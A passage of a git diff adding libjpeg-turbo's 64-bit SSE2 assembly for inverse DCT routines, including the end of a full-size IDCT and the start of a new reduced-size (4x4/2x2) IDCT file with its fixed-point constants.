XMMWORD [wk(7)] ; xmm0 = tmp12H + movdqa xmm4, XMMWORD [wk(10)] ; xmm4 = tmp1L + movdqa xmm2, XMMWORD [wk(11)] ; xmm2 = tmp1H + + movdqa XMMWORD [wk(0)], xmm5 ; wk(0) = (00 10 01 11 02 12 03 13) + movdqa XMMWORD [wk(1)], xmm6 ; wk(1) = (04 14 05 15 06 16 07 17) + movdqa XMMWORD [wk(4)], xmm7 ; wk(4) = (60 70 61 71 62 72 63 73) + movdqa XMMWORD [wk(5)], xmm1 ; wk(5) = (64 74 65 75 66 76 67 77) + + movdqa xmm5, xmm3 + movdqa xmm6, xmm0 + paddd xmm3, xmm4 ; xmm3 = data2L + paddd xmm0, xmm2 ; xmm0 = data2H + psubd xmm5, xmm4 ; xmm5 = data5L + psubd xmm6, xmm2 ; xmm6 = data5H + + movdqa xmm7, [rel PD_DESCALE_P1] ; xmm7 = [rel PD_DESCALE_P1] + + paddd xmm3, xmm7 + paddd xmm0, xmm7 + psrad xmm3, DESCALE_P1 + psrad xmm0, DESCALE_P1 + paddd xmm5, xmm7 + paddd xmm6, xmm7 + psrad xmm5, DESCALE_P1 + psrad xmm6, DESCALE_P1 + + packssdw xmm3, xmm0 ; xmm3 = data2 = (20 21 22 23 24 25 26 27) + packssdw xmm5, xmm6 ; xmm5 = data5 = (50 51 52 53 54 55 56 57) + + movdqa xmm1, XMMWORD [wk(2)] ; xmm1 = tmp13L + movdqa xmm4, XMMWORD [wk(3)] ; xmm4 = tmp13H + movdqa xmm2, XMMWORD [wk(8)] ; xmm2 = tmp0L + movdqa xmm7, XMMWORD [wk(9)] ; xmm7 = tmp0H + + movdqa xmm0, xmm1 + movdqa xmm6, xmm4 + paddd xmm1, xmm2 ; xmm1 = data3L + paddd xmm4, xmm7 ; xmm4 = data3H + psubd xmm0, xmm2 ; xmm0 = data4L + psubd xmm6, xmm7 ; xmm6 = data4H + + movdqa xmm2, [rel PD_DESCALE_P1] ; xmm2 = [rel PD_DESCALE_P1] + + paddd xmm1, xmm2 + paddd xmm4, xmm2 + psrad xmm1, DESCALE_P1 + psrad xmm4, DESCALE_P1 + paddd xmm0, xmm2 + paddd xmm6, xmm2 + psrad xmm0, DESCALE_P1 + psrad xmm6, DESCALE_P1 + + packssdw xmm1, xmm4 ; xmm1 = data3 = (30 31 32 33 34 35 36 37) + packssdw xmm0, xmm6 ; xmm0 = data4 = (40 41 42 43 44 45 46 47) + + movdqa xmm7, XMMWORD [wk(0)] ; xmm7 = (00 10 01 11 02 12 03 13) + movdqa xmm2, XMMWORD [wk(1)] ; xmm2 = (04 14 05 15 06 16 07 17) + + movdqa xmm4, xmm3 ; transpose coefficients(phase 1) + punpcklwd xmm3, xmm1 ; xmm3 = (20 30 21 31 22 32 23 33) + punpckhwd xmm4, xmm1 ; xmm4 = (24 34 25 35 26 36 27 37) + movdqa xmm6, xmm0 ; transpose coefficients(phase 1) + punpcklwd xmm0, xmm5 ; xmm0 = (40 50 41 51 42 52 43 53) + punpckhwd xmm6, xmm5 ; xmm6 = (44 54 45 55 46 56 47 57) + + movdqa xmm1, xmm7 ; transpose coefficients(phase 2) + punpckldq xmm7, xmm3 ; xmm7 = (00 10 20 30 01 11 21 31) + punpckhdq xmm1, xmm3 ; xmm1 = (02 12 22 32 03 13 23 33) + movdqa xmm5, xmm2 ; transpose coefficients(phase 2) + punpckldq xmm2, xmm4 ; xmm2 = (04 14 24 34 05 15 25 35) + punpckhdq xmm5, xmm4 ; xmm5 = (06 16 26 36 07 17 27 37) + + movdqa xmm3, XMMWORD [wk(4)] ; xmm3 = (60 70 61 71 62 72 63 73) + movdqa xmm4, XMMWORD [wk(5)] ; xmm4 = (64 74 65 75 66 76 67 77) + + movdqa XMMWORD [wk(6)], xmm2 ; wk(6) = (04 14 24 34 05 15 25 35) + movdqa XMMWORD [wk(7)], xmm5 ; wk(7) = (06 16 26 36 07 17 27 37) + + movdqa xmm2, xmm0 ; transpose coefficients(phase 2) + punpckldq xmm0, xmm3 ; xmm0 = (40 50 60 70 41 51 61 71) + punpckhdq xmm2, xmm3 ; xmm2 = (42 52 62 72 43 53 63 73) + movdqa xmm5, xmm6 ; transpose coefficients(phase 2) + punpckldq xmm6, xmm4 ; xmm6 = (44 54 64 74 45 55 65 75) + punpckhdq xmm5, xmm4 ; xmm5 = (46 56 66 76 47 57 67 77) + + movdqa xmm3, xmm7 ; transpose coefficients(phase 3) + punpcklqdq xmm7, xmm0 ; xmm7 = col0 = (00 10 20 30 40 50 60 70) + punpckhqdq xmm3, xmm0 ; xmm3 = col1 = (01 11 21 31 41 51 61 71) + movdqa xmm4, xmm1 ; transpose coefficients(phase 3) + punpcklqdq xmm1, xmm2 ; xmm1 = col2 = (02 12 22 32 42 52 62 72) + punpckhqdq xmm4, xmm2 ; xmm4 = col3 = (03 13 23 33 43 53 63 73) + + movdqa xmm0, XMMWORD [wk(6)] ; xmm0 = (04 14 24 34 05 15 25 35) + movdqa xmm2, XMMWORD [wk(7)] ; xmm2 = (06 16 26 36 07 17 27 37) + + movdqa XMMWORD [wk(8)], xmm3 ; wk(8) = col1 + movdqa XMMWORD [wk(9)], xmm4 ; wk(9) = col3 + + movdqa xmm3, xmm0 ; transpose coefficients(phase 3) + punpcklqdq xmm0, xmm6 ; xmm0 = col4 = (04 14 24 34 44 54 64 74) + punpckhqdq xmm3, xmm6 ; xmm3 = col5 = (05 15 25 35 45 55 65 75) + movdqa xmm4, xmm2 ; transpose coefficients(phase 3) + punpcklqdq xmm2, xmm5 ; xmm2 = col6 = (06 16 26 36 46 56 66 76) + punpckhqdq xmm4, xmm5 ; xmm4 = col7 = (07 17 27 37 47 57 67 77) + + movdqa XMMWORD [wk(10)], xmm3 ; wk(10) = col5 + movdqa XMMWORD [wk(11)], xmm4 ; wk(11) = col7 +.column_end: + + ; -- Prefetch the next coefficient block + + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 0 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 1 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 2 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 3 * 32] + + ; ---- Pass 2: process rows from work array, store into output array. + + mov rdi, r12 ; (JSAMPROW *) + mov eax, r13d + + ; -- Even part + + ; xmm7 = col0, xmm1 = col2, xmm0 = col4, xmm2 = col6 + + ; (Original) + ; z1 = (z2 + z3) * 0.541196100; + ; tmp2 = z1 + z3 * -1.847759065; + ; tmp3 = z1 + z2 * 0.765366865; + ; + ; (This implementation) + ; tmp2 = z2 * 0.541196100 + z3 * (0.541196100 - 1.847759065); + ; tmp3 = z2 * (0.541196100 + 0.765366865) + z3 * 0.541196100; + + movdqa xmm6, xmm1 ; xmm1 = in2 = z2 + movdqa xmm5, xmm1 + punpcklwd xmm6, xmm2 ; xmm2 = in6 = z3 + punpckhwd xmm5, xmm2 + movdqa xmm1, xmm6 + movdqa xmm2, xmm5 + pmaddwd xmm6, [rel PW_F130_F054] ; xmm6 = tmp3L + pmaddwd xmm5, [rel PW_F130_F054] ; xmm5 = tmp3H + pmaddwd xmm1, [rel PW_F054_MF130] ; xmm1 = tmp2L + pmaddwd xmm2, [rel PW_F054_MF130] ; xmm2 = tmp2H + + movdqa xmm3, xmm7 + paddw xmm7, xmm0 ; xmm7 = in0 + in4 + psubw xmm3, xmm0 ; xmm3 = in0 - in4 + + pxor xmm4, xmm4 + pxor xmm0, xmm0 + punpcklwd xmm4, xmm7 ; xmm4 = tmp0L + punpckhwd xmm0, xmm7 ; xmm0 = tmp0H + psrad xmm4, (16 - CONST_BITS) + ; psrad xmm4, 16 & pslld xmm4, CONST_BITS + psrad xmm0, (16 - CONST_BITS) + ; psrad xmm0, 16 & pslld xmm0, CONST_BITS + + movdqa xmm7, xmm4 + paddd xmm4, xmm6 ; xmm4 = tmp10L + psubd xmm7, xmm6 ; xmm7 = tmp13L + movdqa xmm6, xmm0 + paddd xmm0, xmm5 ; xmm0 = tmp10H + psubd xmm6, xmm5 ; xmm6 = tmp13H + + movdqa XMMWORD [wk(0)], xmm4 ; wk(0) = tmp10L + movdqa XMMWORD [wk(1)], xmm0 ; wk(1) = tmp10H + movdqa XMMWORD [wk(2)], xmm7 ; wk(2) = tmp13L + movdqa XMMWORD [wk(3)], xmm6 ; wk(3) = tmp13H + + pxor xmm5, xmm5 + pxor xmm4, xmm4 + punpcklwd xmm5, xmm3 ; xmm5 = tmp1L + punpckhwd xmm4, xmm3 ; xmm4 = tmp1H + psrad xmm5, (16 - CONST_BITS) + ; psrad xmm5, 16 & pslld xmm5, CONST_BITS + psrad xmm4, (16 - CONST_BITS) + ; psrad xmm4, 16 & pslld xmm4, CONST_BITS + + movdqa xmm0, xmm5 + paddd xmm5, xmm1 ; xmm5 = tmp11L + psubd xmm0, xmm1 ; xmm0 = tmp12L + movdqa xmm7, xmm4 + paddd xmm4, xmm2 ; xmm4 = tmp11H + psubd xmm7, xmm2 ; xmm7 = tmp12H + + movdqa XMMWORD [wk(4)], xmm5 ; wk(4) = tmp11L + movdqa XMMWORD [wk(5)], xmm4 ; wk(5) = tmp11H + movdqa XMMWORD [wk(6)], xmm0 ; wk(6) = tmp12L + movdqa XMMWORD [wk(7)], xmm7 ; wk(7) = tmp12H + + ; -- Odd part + + movdqa xmm6, XMMWORD [wk(9)] ; xmm6 = col3 + movdqa xmm3, XMMWORD [wk(8)] ; xmm3 = col1 + movdqa xmm1, XMMWORD [wk(11)] ; xmm1 = col7 + movdqa xmm2, XMMWORD [wk(10)] ; xmm2 = col5 + + movdqa xmm5, xmm6 + movdqa xmm4, xmm3 + paddw xmm5, xmm1 ; xmm5 = z3 + paddw xmm4, xmm2 ; xmm4 = z4 + + ; (Original) + ; z5 = (z3 + z4) * 1.175875602; + ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; + ; z3 += z5; z4 += z5; + ; + ; (This implementation) + ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; + ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); + + movdqa xmm0, xmm5 + movdqa xmm7, xmm5 + punpcklwd xmm0, xmm4 + punpckhwd xmm7, xmm4 + movdqa xmm5, xmm0 + movdqa xmm4, xmm7 + pmaddwd xmm0, [rel PW_MF078_F117] ; xmm0 = z3L + pmaddwd xmm7, [rel PW_MF078_F117] ; xmm7 = z3H + pmaddwd xmm5, [rel PW_F117_F078] ; xmm5 = z4L + pmaddwd xmm4, [rel PW_F117_F078] ; xmm4 = z4H + + movdqa XMMWORD [wk(10)], xmm0 ; wk(10) = z3L + movdqa XMMWORD [wk(11)], xmm7 ; wk(11) = z3H + + ; (Original) + ; z1 = tmp0 + tmp3; z2 = tmp1 + tmp2; + ; tmp0 = tmp0 * 0.298631336; tmp1 = tmp1 * 2.053119869; + ; tmp2 = tmp2 * 3.072711026; tmp3 = tmp3 * 1.501321110; + ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; + ; tmp0 += z1 + z3; tmp1 += z2 + z4; + ; tmp2 += z2 + z3; tmp3 += z1 + z4; + ; + ; (This implementation) + ; tmp0 = tmp0 * (0.298631336 - 0.899976223) + tmp3 * -0.899976223; + ; tmp1 = tmp1 * (2.053119869 - 2.562915447) + tmp2 * -2.562915447; + ; tmp2 = tmp1 * -2.562915447 + tmp2 * (3.072711026 - 2.562915447); + ; tmp3 = tmp0 * -0.899976223 + tmp3 * (1.501321110 - 0.899976223); + ; tmp0 += z3; tmp1 += z4; + ; tmp2 += z3; tmp3 += z4; + + movdqa xmm0, xmm1 + movdqa xmm7, xmm1 + punpcklwd xmm0, xmm3 + punpckhwd xmm7, xmm3 + movdqa xmm1, xmm0 + movdqa xmm3, xmm7 + pmaddwd xmm0, [rel PW_MF060_MF089] ; xmm0 = tmp0L + pmaddwd xmm7, [rel PW_MF060_MF089] ; xmm7 = tmp0H + pmaddwd xmm1, [rel PW_MF089_F060] ; xmm1 = tmp3L + pmaddwd xmm3, [rel PW_MF089_F060] ; xmm3 = tmp3H + + paddd xmm0, XMMWORD [wk(10)] ; xmm0 = tmp0L + paddd xmm7, XMMWORD [wk(11)] ; xmm7 = tmp0H + paddd xmm1, xmm5 ; xmm1 = tmp3L + paddd xmm3, xmm4 ; xmm3 = tmp3H + + movdqa XMMWORD [wk(8)], xmm0 ; wk(8) = tmp0L + movdqa XMMWORD [wk(9)], xmm7 ; wk(9) = tmp0H + + movdqa xmm0, xmm2 + movdqa xmm7, xmm2 + punpcklwd xmm0, xmm6 + punpckhwd xmm7, xmm6 + movdqa xmm2, xmm0 + movdqa xmm6, xmm7 + pmaddwd xmm0, [rel PW_MF050_MF256] ; xmm0 = tmp1L + pmaddwd xmm7, [rel PW_MF050_MF256] ; xmm7 = tmp1H + pmaddwd xmm2, [rel PW_MF256_F050] ; xmm2 = tmp2L + pmaddwd xmm6, [rel PW_MF256_F050] ; xmm6 = tmp2H + + paddd xmm0, xmm5 ; xmm0 = tmp1L + paddd xmm7, xmm4 ; xmm7 = tmp1H + paddd xmm2, XMMWORD [wk(10)] ; xmm2 = tmp2L + paddd xmm6, XMMWORD [wk(11)] ; xmm6 = tmp2H + + movdqa XMMWORD [wk(10)], xmm0 ; wk(10) = tmp1L + movdqa XMMWORD [wk(11)], xmm7 ; wk(11) = tmp1H + + ; -- Final output stage + + movdqa xmm5, XMMWORD [wk(0)] ; xmm5 = tmp10L + movdqa xmm4, XMMWORD [wk(1)] ; xmm4 = tmp10H + + movdqa xmm0, xmm5 + movdqa xmm7, xmm4 + paddd xmm5, xmm1 ; xmm5 = data0L + paddd xmm4, xmm3 ; xmm4 = data0H + psubd xmm0, xmm1 ; xmm0 = data7L + psubd xmm7, xmm3 ; xmm7 = data7H + + movdqa xmm1, [rel PD_DESCALE_P2] ; xmm1 = [rel PD_DESCALE_P2] + + paddd xmm5, xmm1 + paddd xmm4, xmm1 + psrad xmm5, DESCALE_P2 + psrad xmm4, DESCALE_P2 + paddd xmm0, xmm1 + paddd xmm7, xmm1 + psrad xmm0, DESCALE_P2 + psrad xmm7, DESCALE_P2 + + packssdw xmm5, xmm4 ; xmm5 = data0 = (00 10 20 30 40 50 60 70) + packssdw xmm0, xmm7 ; xmm0 = data7 = (07 17 27 37 47 57 67 77) + + movdqa xmm3, XMMWORD [wk(4)] ; xmm3 = tmp11L + movdqa xmm1, XMMWORD [wk(5)] ; xmm1 = tmp11H + + movdqa xmm4, xmm3 + movdqa xmm7, xmm1 + paddd xmm3, xmm2 ; xmm3 = data1L + paddd xmm1, xmm6 ; xmm1 = data1H + psubd xmm4, xmm2 ; xmm4 = data6L + psubd xmm7, xmm6 ; xmm7 = data6H + + movdqa xmm2, [rel PD_DESCALE_P2] ; xmm2 = [rel PD_DESCALE_P2] + + paddd xmm3, xmm2 + paddd xmm1, xmm2 + psrad xmm3, DESCALE_P2 + psrad xmm1, DESCALE_P2 + paddd xmm4, xmm2 + paddd xmm7, xmm2 + psrad xmm4, DESCALE_P2 + psrad xmm7, DESCALE_P2 + + packssdw xmm3, xmm1 ; xmm3 = data1 = (01 11 21 31 41 51 61 71) + packssdw xmm4, xmm7 ; xmm4 = data6 = (06 16 26 36 46 56 66 76) + + packsswb xmm5, xmm4 + ; xmm5 = (00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) + packsswb xmm3, xmm0 + ; xmm3 = (01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) + + movdqa xmm6, XMMWORD [wk(6)] ; xmm6 = tmp12L + movdqa xmm2, XMMWORD [wk(7)] ; xmm2 = tmp12H + movdqa xmm1, XMMWORD [wk(10)] ; xmm1 = tmp1L + movdqa xmm7, XMMWORD [wk(11)] ; xmm7 = tmp1H + + movdqa XMMWORD [wk(0)], xmm5 + ; wk(0) = (00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) + movdqa XMMWORD [wk(1)], xmm3 + ; wk(1) = (01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) + + movdqa xmm4, xmm6 + movdqa xmm0, xmm2 + paddd xmm6, xmm1 ; xmm6 = data2L + paddd xmm2, xmm7 ; xmm2 = data2H + psubd xmm4, xmm1 ; xmm4 = data5L + psubd xmm0, xmm7 ; xmm0 = data5H + + movdqa xmm5, [rel PD_DESCALE_P2] ; xmm5 = [rel PD_DESCALE_P2] + + paddd xmm6, xmm5 + paddd xmm2, xmm5 + psrad xmm6, DESCALE_P2 + psrad xmm2, DESCALE_P2 + paddd xmm4, xmm5 + paddd xmm0, xmm5 + psrad xmm4, DESCALE_P2 + psrad xmm0, DESCALE_P2 + + packssdw xmm6, xmm2 ; xmm6 = data2 = (02 12 22 32 42 52 62 72) + packssdw xmm4, xmm0 ; xmm4 = data5 = (05 15 25 35 45 55 65 75) + + movdqa xmm3, XMMWORD [wk(2)] ; xmm3 = tmp13L + movdqa xmm1, XMMWORD [wk(3)] ; xmm1 = tmp13H + movdqa xmm7, XMMWORD [wk(8)] ; xmm7 = tmp0L + movdqa xmm5, XMMWORD [wk(9)] ; xmm5 = tmp0H + + movdqa xmm2, xmm3 + movdqa xmm0, xmm1 + paddd xmm3, xmm7 ; xmm3 = data3L + paddd xmm1, xmm5 ; xmm1 = data3H + psubd xmm2, xmm7 ; xmm2 = data4L + psubd xmm0, xmm5 ; xmm0 = data4H + + movdqa xmm7, [rel PD_DESCALE_P2] ; xmm7 = [rel PD_DESCALE_P2] + + paddd xmm3, xmm7 + paddd xmm1, xmm7 + psrad xmm3, DESCALE_P2 + psrad xmm1, DESCALE_P2 + paddd xmm2, xmm7 + paddd xmm0, xmm7 + psrad xmm2, DESCALE_P2 + psrad xmm0, DESCALE_P2 + + movdqa xmm5, [rel PB_CENTERJSAMP] ; xmm5 = [rel PB_CENTERJSAMP] + + packssdw xmm3, xmm1 ; xmm3 = data3 = (03 13 23 33 43 53 63 73) + packssdw xmm2, xmm0 ; xmm2 = data4 = (04 14 24 34 44 54 64 74) + + movdqa xmm7, XMMWORD [wk(0)] + ; xmm7 = (00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) + movdqa xmm1, XMMWORD [wk(1)] + ; xmm1 = (01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) + + packsswb xmm6, xmm2 + ; xmm6 = (02 12 22 32 42 52 62 72 04 14 24 34 44 54 64 74) + packsswb xmm3, xmm4 + ; xmm3 = (03 13 23 33 43 53 63 73 05 15 25 35 45 55 65 75) + + paddb xmm7, xmm5 + paddb xmm1, xmm5 + paddb xmm6, xmm5 + paddb xmm3, xmm5 + + ; transpose coefficients(phase 1) + movdqa xmm0, xmm7 + punpcklbw xmm7, xmm1 + ; xmm7 = (00 01 10 11 20 21 30 31 40 41 50 51 60 61 70 71) + punpckhbw xmm0, xmm1 + ; xmm0 = (06 07 16 17 26 27 36 37 46 47 56 57 66 67 76 77) + movdqa xmm2, xmm6 + punpcklbw xmm6, xmm3 + ; xmm6 = (02 03 12 13 22 23 32 33 42 43 52 53 62 63 72 73) + punpckhbw xmm2, xmm3 + ; xmm2 = (04 05 14 15 24 25 34 35 44 45 54 55 64 65 74 75) + + ; transpose coefficients(phase 2) + movdqa xmm4, xmm7 + punpcklwd xmm7, xmm6 + ; xmm7 = (00 01 02 03 10 11 12 13 20 21 22 23 30 31 32 33) + punpckhwd xmm4, xmm6 + ; xmm4 = (40 41 42 43 50 51 52 53 60 61 62 63 70 71 72 73) + movdqa xmm5, xmm2 + punpcklwd xmm2, xmm0 + ; xmm2 = (04 05 06 07 14 15 16 17 24 25 26 27 34 35 36 37) + punpckhwd xmm5, xmm0 + ; xmm5 = (44 45 46 47 54 55 56 57 64 65 66 67 74 75 76 77) + + ; transpose coefficients(phase 3) + movdqa xmm1, xmm7 + punpckldq xmm7, xmm2 + ; xmm7 = (00 01 02 03 04 05 06 07 10 11 12 13 14 15 16 17) + punpckhdq xmm1, xmm2 + ; xmm1 = (20 21 22 23 24 25 26 27 30 31 32 33 34 35 36 37) + movdqa xmm3, xmm4 + punpckldq xmm4, xmm5 + ; xmm4 = (40 41 42 43 44 45 46 47 50 51 52 53 54 55 56 57) + punpckhdq xmm3, xmm5 + ; xmm3 = (60 61 62 63 64 65 66 67 70 71 72 73 74 75 76 77) + + pshufd xmm6, xmm7, 0x4E + ; xmm6 = (10 11 12 13 14 15 16 17 00 01 02 03 04 05 06 07) + pshufd xmm0, xmm1, 0x4E + ; xmm0 = (30 31 32 33 34 35 36 37 20 21 22 23 24 25 26 27) + pshufd xmm2, xmm4, 0x4E + ; xmm2 = (50 51 52 53 54 55 56 57 40 41 42 43 44 45 46 47) + pshufd xmm5, xmm3, 0x4E + ; xmm5 = (70 71 72 73 74 75 76 77 60 61 62 63 64 65 66 67) + + mov rdxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 2 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm7 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm1 + mov rdxp, JSAMPROW [rdi + 4 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 6 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm4 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm3 + + mov rdxp, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 3 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm6 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm0 + mov rdxp, JSAMPROW [rdi + 5 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 7 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm2 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm5 + + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jidctred-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jidctred-sse2.asm new file mode 100755 index 0000000..b65a893 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jidctred-sse2.asm @@ -0,0 +1,577 @@ +; +; Reduced-size IDCT (64-bit SSE2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains inverse DCT routines that produce reduced-size output: +; either 4x4 or 2x2 pixels from an 8x8 DCT block. The following code is based +; directly on the IJG's original jidctred.c; see jidctred.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%define CONST_BITS 13 +%define PASS1_BITS 2 + +%define DESCALE_P1_4 (CONST_BITS - PASS1_BITS + 1) +%define DESCALE_P2_4 (CONST_BITS + PASS1_BITS + 3 + 1) +%define DESCALE_P1_2 (CONST_BITS - PASS1_BITS + 2) +%define DESCALE_P2_2 (CONST_BITS + PASS1_BITS + 3 + 2) + +%if CONST_BITS == 13 +F_0_211 equ 1730 ; FIX(0.211164243) +F_0_509 equ 4176 ; FIX(0.509795579) +F_0_601 equ 4926 ; FIX(0.601344887) +F_0_720 equ 5906 ; FIX(0.720959822) +F_0_765 equ 6270 ; FIX(0.765366865) +F_0_850 equ 6967 ; FIX(0.850430095) +F_0_899 equ 7373 ; FIX(0.899976223) +F_1_061 equ 8697 ; FIX(1.061594337) +F_1_272 equ 10426 ; FIX(1.272758580) +F_1_451 equ 11893 ; FIX(1.451774981) +F_1_847 equ 15137 ; FIX(1.847759065) +F_2_172 equ 17799 ; FIX(2.172734803) +F_2_562 equ 20995 ; FIX(2.562915447) +F_3_624 equ 29692 ; FIX(3.624509785) +%else +; NASM cannot do compile-time arithmetic on floating-point constants. +%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) +F_0_211 equ DESCALE( 226735879, 30 - CONST_BITS) ; FIX(0.211164243) +F_0_509 equ DESCALE( 547388834, 30 - CONST_BITS) ; FIX(0.509795579) +F_0_601 equ DESCALE( 645689155, 30 - CONST_BITS) ; FIX(0.601344887) +F_0_720 equ DESCALE( 774124714, 30 - CONST_BITS) ; FIX(0.720959822) +F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865) +F_0_850 equ DESCALE( 913142361, 30 - CONST_BITS) ; FIX(0.850430095) +F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223) +F_1_061 equ DESCALE(1139878239, 30 - CONST_BITS) ; FIX(1.061594337) +F_1_272 equ DESCALE(1366614119, 30 - CONST_BITS) ; FIX(1.272758580) +F_1_451 equ DESCALE(1558831516, 30 - CONST_BITS) ; FIX(1.451774981) +F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) +F_2_172 equ DESCALE(2332956230, 30 - CONST_BITS) ; FIX(2.172734803) +F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447) +F_3_624 equ DESCALE(3891787747, 30 - CONST_BITS) ; FIX(3.624509785) +%endif + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_idct_red_sse2) + +EXTN(jconst_idct_red_sse2): + +PW_F184_MF076 times 4 dw F_1_847, -F_0_765 +PW_F256_F089 times 4 dw F_2_562, F_0_899 +PW_F106_MF217 times 4 dw F_1_061, -F_2_172 +PW_MF060_MF050 times 4 dw -F_0_601, -F_0_509 +PW_F145_MF021 times 4 dw F_1_451, -F_0_211 +PW_F362_MF127 times 4 dw F_3_624, -F_1_272 +PW_F085_MF072 times 4 dw F_0_850, -F_0_720 +PD_DESCALE_P1_4 times 4 dd 1 << (DESCALE_P1_4 - 1) +PD_DESCALE_P2_4 times 4 dd 1 << (DESCALE_P2_4 - 1) +PD_DESCALE_P1_2 times 4 dd 1 << (DESCALE_P1_2 - 1) +PD_DESCALE_P2_2 times 4 dd 1 << (DESCALE_P2_2 - 1) +PB_CENTERJSAMP times 16 db CENTERJSAMPLE + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; Perform dequantization and inverse DCT on one block of coefficients, +; producing a reduced-size 4x4 output block. +; +; GLOBAL(void) +; jsimd_idct_4x4_sse2(void *dct_table, JCOEFPTR coef_block, +; JSAMPARRAY output_buf, JDIMENSION output_col) +; +; r10 = void *dct_table +; r11 = JCOEFPTR coef_block +; r12 = JSAMPARRAY output_buf +; r13d = JDIMENSION output_col + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 2 + + align 32 + GLOBAL_FUNCTION(jsimd_idct_4x4_sse2) + +EXTN(jsimd_idct_4x4_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 4 + + ; ---- Pass 1: process columns from input. + + mov rdx, r10 ; quantptr + mov rsi, r11 ; inptr + +%ifndef NO_ZERO_COLUMN_TEST_4X4_SSE2 + mov eax, dword [DWBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + or eax, dword [DWBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + jnz short .columnDCT + + movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + por xmm0, xmm1 + packsswb xmm0, xmm0 + packsswb xmm0, xmm0 + movd eax, xmm0 + test rax, rax + jnz short .columnDCT + + ; -- AC terms all zero + + movdqa xmm0, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + psllw xmm0, PASS1_BITS + + movdqa xmm3, xmm0 ; xmm0 = in0 = (00 01 02 03 04 05 06 07) + punpcklwd xmm0, xmm0 ; xmm0 = (00 00 01 01 02 02 03 03) + punpckhwd xmm3, xmm3 ; xmm3 = (04 04 05 05 06 06 07 07) + + pshufd xmm1, xmm0, 0x50 + ; xmm1 = [col0 col1] = (00 00 00 00 01 01 01 01) + pshufd xmm0, xmm0, 0xFA + ; xmm0 = [col2 col3] = (02 02 02 02 03 03 03 03) + pshufd xmm6, xmm3, 0x50 + ; xmm6 = [col4 col5] = (04 04 04 04 05 05 05 05) + pshufd xmm3, xmm3, 0xFA + ; xmm3 = [col6 col7] = (06 06 06 06 07 07 07 07) + + jmp near .column_end +%endif +.columnDCT: + + ; -- Odd part + + 